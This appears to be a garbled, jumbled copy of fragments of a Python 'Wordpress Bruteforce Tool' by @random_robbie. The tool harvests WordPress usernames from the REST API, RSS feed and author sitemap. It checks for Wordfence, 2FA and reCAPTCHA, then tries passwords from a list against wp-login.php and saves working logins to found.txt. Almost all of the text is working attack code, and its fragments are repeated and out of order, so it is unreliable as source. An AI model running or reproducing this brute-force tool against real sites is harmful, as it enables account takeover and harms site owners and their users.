RSS Feed def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "attempt \"+str(cnt)+\" [+]\") text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login", "Learning Quality IF statements. def basic_checks(url): if check_is_wp(url): if check_wpadmin(url):", "False # Check if wordfence is installed as this limits", "lines_seen = set() outfile = open(\"users.txt\", \"w\") for line in", "= line.strip() cnt = 1 print((\"[+] Found User: \"+user+\" [+]\"))", "sys.exit(0) # Method Value for which method to enumerate users", "for Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\") cnt", "def basic_checks(url): if check_is_wp(url): if check_wpadmin(url): return True else: return", "user[1] h = thisuser.split('/') user = h[4] cnt = 1", "your IP [-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers =", "text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password:", "line in b: password = line.strip() cnt = test_login (url,user,password,cnt,attempts)", "for user in users: u = user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\",", "remove_dupes() with open(\"users.txt\", 'r') as f: for line in f:", "if check_wpadmin(url): return True else: return False else: return False", "\"None\": print(\"[+] Users found via RSS Feed [+]\") method =", "u = user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes()", "python # # Wordpress Bruteforce Tool # # By @random_robbie", "argparse import re import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)", "# # import requests import json import sys import argparse", "will block your IP [-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"}", "b: for line in b: password = line.strip() cnt =", "print (\"[-] REST API Endpoint Requires Permissions [-]\") return False", "JSON api def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered by WordPress\" in response.text: if", "text_file.close() remove_dupes() with open(\"users.txt\", 'r') as f: for line in", "a wordpress website or there is a issue blocking wp-admin", "= open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\", 'r') as", "f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in", "= \"\" proxyDict = { \"http\" : http_proxy, \"https\" :", "on attempt \"+str(cnt)+\" [-]\") cnt += 1 return cnt def", "Test the logins def test_login (url,user,password,cnt,attempts): if str(cnt) == attempts:", "or not readable [-]\") sys.exit(0) # Method Value for which", "not in response.text: return True else: return False else: return", "grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "basic_checks(url): if check_is_wp(url): if check_wpadmin(url): return True else: return False", "HTTP Status [-]\") sys.exit(0) if response.status_code == 502: print(\"[-] Website", "= h[4] cnt = 1 with open(passfile, 'r') as f:", "grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method == \"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile)", "Login Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-] Login", "= test_login (url,user,password,cnt,attempts) f.close() # Time For Some Machine Learning", "\"Google Authenticator code\" in response.text: print(\"[-] 2FA is enabled Sorry", "users: u = user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close()", "cnt def count_pass(passfile): count = 0 with open(passfile, 'r') as", "[-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "Status [-]\") sys.exit(0) if response.status_code == 502: print(\"[-] Website is", "= open(\"users.txt\", \"w\") for line in open(\"rssusers.txt\", \"r\"): if line", "= {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101", "for line in f: user = line.strip() cnt = 1", "open(passfile, 'r') as f: for line in f: password =", "in users: u = user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\")", "In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "Wordfence is installed this will limit the testing to 20", "testing to 20 attempts [+]\") attempts = \"20\" # Kick", "line in open(\"rssusers.txt\", \"r\"): if line not in lines_seen: outfile.write(line)", "for enumeration if grab_users_api(url): print(\"[+] Users found via Rest API", "\"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\") args = parser.parse_args() url =", "os.R_OK): print(\"[+] Password List Used: \"+passfile+\" [+]\") else: print(\"[-] Either", "return False else: return False else: return False # Check", "response.status_code == 200: return response.text # Grab Wordpress Users via", "http_proxy, \"https\" : http_proxy, \"ftp\" : http_proxy } # Grab", "return False if response.status_code == 404: print (\"[-] Rest API", "outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id in userdata: user = id['slug']", "f: for line in f: count += 1 f.close() return", "os.remove(\"users.txt\") for user in users: u = user.replace(\"[CDATA[\",\"\") text_file =", "open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close()", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict)", "(url,user,password,cnt,attempts) f.close() # Time For Some Machine Learning Quality IF", "on attempt \"+str(cnt)+\" [+]\") text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found", "id['slug'] cnt = 1 print((\"[+] Found User: \"+user+\" [+]\")) with", "True else: return False else: return False if basic_checks(url): print(\"[+]", "headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0)", "\"None\": print (\"[-] Oh Shit it seems I was unable", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\",", "userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method == \"sitemap\": userdata =", "True else: return False # Test the logins def test_login", "a method to grab usernames from [-]\") sys.exit(0) if check_wordfence(url):", "method == \"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method ==", "{ \"http\" : http_proxy, \"https\" : http_proxy, \"ftp\" : http_proxy", "requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True,", "proxies=proxyDict) if \"Powered by WordPress\" in response.text: if \"wp-submit\" in", "lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id in userdata:", "== 404: return False elif response.status_code == 200: return response.text", "test_login (url,user,password,cnt,attempts) f.close() # Time For Some Machine Learning Quality", "attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\")", "wordpress def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "= session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security - Firewall &", "False) if response.status_code == 503: print(\"[-] Website is giving 503", "response.status_code == 502: print(\"[-] Website is giving 502 HTTP Status", "for line in open(\"rssusers.txt\", \"r\"): if line not in lines_seen:", "response.status_code == 200: if \"dc:creator\" in response.text: return response.text #", "line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users =", "print(\"[+] Users found via Authors Sitemap [-]\") method = \"sitemap\"", "statements. def basic_checks(url): if check_is_wp(url): if check_wpadmin(url): return True else:", "method == \"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method ==", "in response.text: print (\"[-] REST API Endpoint Requires Permissions [-]\")", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in", "import argparse import re import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning", "Check URL is wordpress def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "502: print(\"[-] Website is giving 502 HTTP Status [-]\") sys.exit(0)", "Wordpress Users via RSS Feed def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0", "= grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method == \"sitemap\": userdata = grab_users_sitemap(url)", "cnt += 1 return cnt def count_pass(passfile): count = 0", "lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id in userdata: user =", "20 attempts [+]\") attempts = \"20\" # Kick off Parsing", "in response.text: return True else: return False # Test the", "re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth: thisuser = user[1] h =", "open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\", 'r') as f:", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered by", "missing or not readable [-]\") sys.exit(0) # Method Value for", "& Malware Scan\" in response.text: return True else: return False", "proxies=proxyDict) if response.status_code == 404: return False elif response.status_code ==", "for line in b: password = line.strip() cnt = test_login", ": http_proxy } # Grab Wordpress Users via Wordpress JSON", "\"r\"): if line not in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def", "return False elif response.status_code == 200: jsonstr = json.loads(response.content) return", "requests import json import sys import argparse import re import", "in f: password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close()", "headers=headers,verify=False, proxies=proxyDict) if \"Powered by WordPress\" in response.text: if \"wp-submit\"", "Endpoint returns 404 Not Found [-]\") return False elif response.status_code", "returns 404 Not Found [-]\") return False elif response.status_code ==", "method = \"restapi\" if grab_users_rssfeed(url) and method == \"None\": print(\"[+]", "user = h[4] cnt = 1 with open(passfile, 'r') as", "+= 1 return cnt def count_pass(passfile): count = 0 with", "Time For Some Machine Learning Quality IF statements. def basic_checks(url):", "basic_checks(url): print(\"[+] Confirmed Wordpress Website [+]\") else: print (\"[-] Sorry", "False if basic_checks(url): print(\"[+] Confirmed Wordpress Website [+]\") else: print", "the file is missing or not readable [-]\") sys.exit(0) #", "Login Failed for Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\"", "users from method = \"None\" attempts = \"None\" # Which", "1 print((\"[+] Found User: \"+user+\" [+]\")) with open(passfile, 'r') as", "return jsonstr # Grab Wordpress Users via Sitemap def grab_users_sitemap(url):", "# Grab Wordpress Users via RSS Feed def grab_users_rssfeed(url): headers", "{\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip,", "args.file http_proxy = \"\" proxyDict = { \"http\" : http_proxy,", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False,", "giving 403 HTTP Status - WAF Blocking[-]\") sys.exit(0) if \"Google", "requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser = argparse.ArgumentParser()", "or there is a issue blocking wp-admin [-]\") sys.exit(0) if", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\",", "this will limit the testing to 20 attempts [+]\") attempts", "h = thisuser.split('/') user = h[4] cnt = 1 with", "response.text: return True else: return False # Test the logins", "remove_dupes(): lines_seen = set() outfile = open(\"users.txt\", \"w\") for line", "= user[1] h = thisuser.split('/') user = h[4] cnt =", "required=True, default=\"pass.txt\" ,help=\"Password File\") args = parser.parse_args() url = args.url", "enumeration if grab_users_api(url): print(\"[+] Users found via Rest API [-]\")", "200: jsonstr = json.loads(response.content) return jsonstr # Grab Wordpress Users", "body like dupes. def remove_dupes(): lines_seen = set() outfile =", "Website is giving 403 HTTP Status - WAF Blocking[-]\") sys.exit(0)", "line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth", "a issue blocking wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile) and os.access(passfile,", "\"None\" attempts = \"None\" # Which method to use for", "= \"20\" # Kick off Parsing and attacking if method", "\"wp-submit\" in response.text: if \"reCAPTCHA\" not in response.text: return True", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies =", "response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return", "[-]\") method = \"restapi\" if grab_users_rssfeed(url) and method == \"None\":", "else: return False else: return False if basic_checks(url): print(\"[+] Confirmed", "outfile = open(\"users.txt\", \"w\") for line in open(\"rssusers.txt\", \"r\"): if", "seems I was unable to find a method to grab", "import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session()", "HTTP Status [-]\") sys.exit(0) if response.status_code == 403: print(\"[-] Website", "Blocking[-]\") sys.exit(0) if \"Google Authenticator code\" in response.text: print(\"[-] 2FA", "not readable [-]\") sys.exit(0) # Method Value for which method", "from [-]\") sys.exit(0) if check_wordfence(url): print (\"[+] Wordfence is installed", "proxies=proxyDict) if 'rest_user_cannot_view' in response.text: print (\"[-] REST API Endpoint", "headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security - Firewall & Malware Scan\"", "cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if response.status_code == 503: print(\"[-] Website", "session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in response.text: return True else:", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"}", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\",", "Kick off Parsing and attacking if method == \"restapi\": userdata", "\"wp-content\" in response.text: return True else: return False # Check", "False # Test the logins def test_login (url,user,password,cnt,attempts): if str(cnt)", "else: print (\"[-] Sorry this is either not a wordpress", "= args.file http_proxy = \"\" proxyDict = { \"http\" :", "\"+str(cnt)+\" [+]\") text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login Username:", ": http_proxy, \"ftp\" : http_proxy } # Grab Wordpress Users", "if str(cnt) == attempts: print(\"[-] Stopping as Wordfence will block", "(\"[-] Oh Shit it seems I was unable to find", "if method == \"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method", "response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in response.text: return", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict)", "data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if response.status_code == 503:", "Sorry this is either not a wordpress website or there", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view'", "return False elif response.status_code == 200: if \"dc:creator\" in response.text:", "os.access(passfile, os.R_OK): print(\"[+] Password List Used: \"+passfile+\" [+]\") else: print(\"[-]", "wordpress website or there is a issue blocking wp-admin [-]\")", "False else: return False # Check URL is wordpress def", "else: return False # Check URL is wordpress def check_is_wp(url):", "User: \"+user+\" [+]\")) with open(passfile, 'r') as f: for line", "\"https\" : http_proxy, \"ftp\" : http_proxy } # Grab Wordpress", "404 Not Found [-]\") return False elif response.status_code == 200:", "= 1 print((\"[+] Found User: \"+user+\" [+]\")) with open(passfile, 'r')", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict)", "Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies", "session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if response.status_code ==", "Stopping as Wordfence will block your IP [-]\") sys.exit(0) paramsPost", "Check we can get to wp-admin login. def check_wpadmin(url): headers", "via Wordpress JSON api def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "line.strip() cnt = 1 print((\"[+] Found User: \"+user+\" [+]\")) with", "False # Check URL is wordpress def check_is_wp(url): headers =", "elif response.status_code == 200: return response.text # Grab Wordpress Users", "to grab usernames from [-]\") sys.exit(0) if check_wordfence(url): print (\"[+]", "response.text: return True else: return False else: return False else:", "= session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if response.status_code", "# Grab Wordpress Users via Wordpress JSON api def grab_users_api(url):", "auth: thisuser = user[1] h = thisuser.split('/') user = h[4]", "\"ftp\" : http_proxy } # Grab Wordpress Users via Wordpress", "\"+password+\" on attempt \"+str(cnt)+\" [-]\") cnt += 1 return cnt", "if grab_users_rssfeed(url) and method == \"None\": print(\"[+] Users found via", "to 20 attempts [+]\") attempts = \"20\" # Kick off", "(\"[-] REST API Endpoint Requires Permissions [-]\") return False if", "re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in", "password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() # Time", "[+]\") text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login Username: \"+user+\"", "[+]\")) with open(passfile, 'r') as b: for line in b:", "response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security - Firewall", "== \"None\": print(\"[+] Users found via Authors Sitemap [-]\") method", "proxies=proxyDict,allow_redirects = False) if response.status_code == 503: print(\"[-] Website is", "if check_is_wp(url): if check_wpadmin(url): return True else: return False else:", "grab usernames from [-]\") sys.exit(0) if check_wordfence(url): print (\"[+] Wordfence", "else: print(\"[-] Login Failed for Username: \"+user+\" Password: \"+password+\" on", "for user in auth: thisuser = user[1] h = thisuser.split('/')", "args = parser.parse_args() url = args.url passfile = args.file http_proxy", "False elif response.status_code == 200: return response.text # Grab Wordpress", "and method == \"None\": print(\"[+] Users found via RSS Feed", "Permissions [-]\") return False if response.status_code == 404: print (\"[-]", "return False if basic_checks(url): print(\"[+] Confirmed Wordpress Website [+]\") else:", "= set() outfile = open(\"users.txt\", \"w\") for line in open(\"rssusers.txt\",", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False,", "Wordpress Users via Sitemap def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "grab_users_rssfeed(url) and method == \"None\": print(\"[+] Users found via RSS", ": http_proxy, \"https\" : http_proxy, \"ftp\" : http_proxy } #", "Requires Permissions [-]\") return False if response.status_code == 404: print", "is wordpress def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "List Used: \"+passfile+\" [+]\") else: print(\"[-] Either the file is", "Shit it seems I was unable to find a method", "to 20 per ip def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "print(\"[-] Website is giving 403 HTTP Status - WAF Blocking[-]\")", "paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "in f: count += 1 f.close() return str(count) # Dont", "Tool # # By @random_robbie # # import requests import", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404:", "if wordfence is installed as this limits the logins to", "for id in userdata: user = id['slug'] cnt = 1", "\"Wordfence Security - Firewall & Malware Scan\" in response.text: return", "is installed as this limits the logins to 20 per", "= \"restapi\" if grab_users_rssfeed(url) and method == \"None\": print(\"[+] Users", "method = \"sitemap\" if method == \"None\": print (\"[-] Oh", "(\"[+] Wordfence is installed this will limit the testing to", "passfile = args.file http_proxy = \"\" proxyDict = { \"http\"", "in f: user = line.strip() cnt = 1 print((\"[+] Found", "RSS Feed def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if", "= open(\"found.txt\", \"a\") text_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password: \"+password+\"\\n\")", "if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in users: u = user.replace(\"[CDATA[\",\"\")", "def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"):", "file is missing or not readable [-]\") sys.exit(0) # Method", "argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True,", "from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser =", "in response.text: return response.text # Check we can get to", "f.close() # Time For Some Machine Learning Quality IF statements.", "\"dc:creator\" in response.text: return response.text # Check we can get", "== 503: print(\"[-] Website is giving 503 HTTP Status [-]\")", "os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in users: u", "'r') as f: for line in f: password = line.strip()", "text_file.close() sys.exit(0) else: print(\"[-] Login Failed for Username: \"+user+\" Password:", "found via RSS Feed [+]\") method = \"rss\" if grab_users_sitemap(url)", "cnt = test_login (url,user,password,cnt,attempts) f.close() # Time For Some Machine", "as this limits the logins to 20 per ip def", "is either not a wordpress website or there is a", "the logins to 20 per ip def check_wordfence(url): headers =", "test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"):", "= \"sitemap\" if method == \"None\": print (\"[-] Oh Shit", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered by WordPress\"", "method to enumerate users from method = \"None\" attempts =", "\"a\") text_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0)", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code", "password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile):", "f.close() def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if", "if os.path.exists(\"rssusers.txt\"): os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in users:", "attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth: thisuser =", "response.text: return response.text # Check we can get to wp-admin", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False,", "str(cnt) == attempts: print(\"[-] Stopping as Wordfence will block your", "this is either not a wordpress website or there is", "# Check URL is wordpress def check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0", "if \"wp-submit\" in response.text: if \"reCAPTCHA\" not in response.text: return", "[-]\") sys.exit(0) # Method Value for which method to enumerate", "print (\"[+] Wordfence is installed this will limit the testing", "issue blocking wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile) and os.access(passfile, os.R_OK):", "return True else: return False # Test the logins def", "it seems I was unable to find a method to", "def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth: thisuser", "user = id['slug'] cnt = 1 print((\"[+] Found User: \"+user+\"", "we can get to wp-admin login. def check_wpadmin(url): headers =", "= args.url passfile = args.file http_proxy = \"\" proxyDict =", "url = args.url passfile = args.file http_proxy = \"\" proxyDict", "in response.text: if \"reCAPTCHA\" not in response.text: return True else:", "+= 1 f.close() return str(count) # Dont no body like", "set() outfile = open(\"users.txt\", \"w\") for line in open(\"rssusers.txt\", \"r\"):", "via Authors Sitemap [-]\") method = \"sitemap\" if method ==", "Login Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\") text_file", "if \"Powered by WordPress\" in response.text: if \"wp-submit\" in response.text:", "check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found Login Username: \"+user+\" Password:", "block your IP [-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log 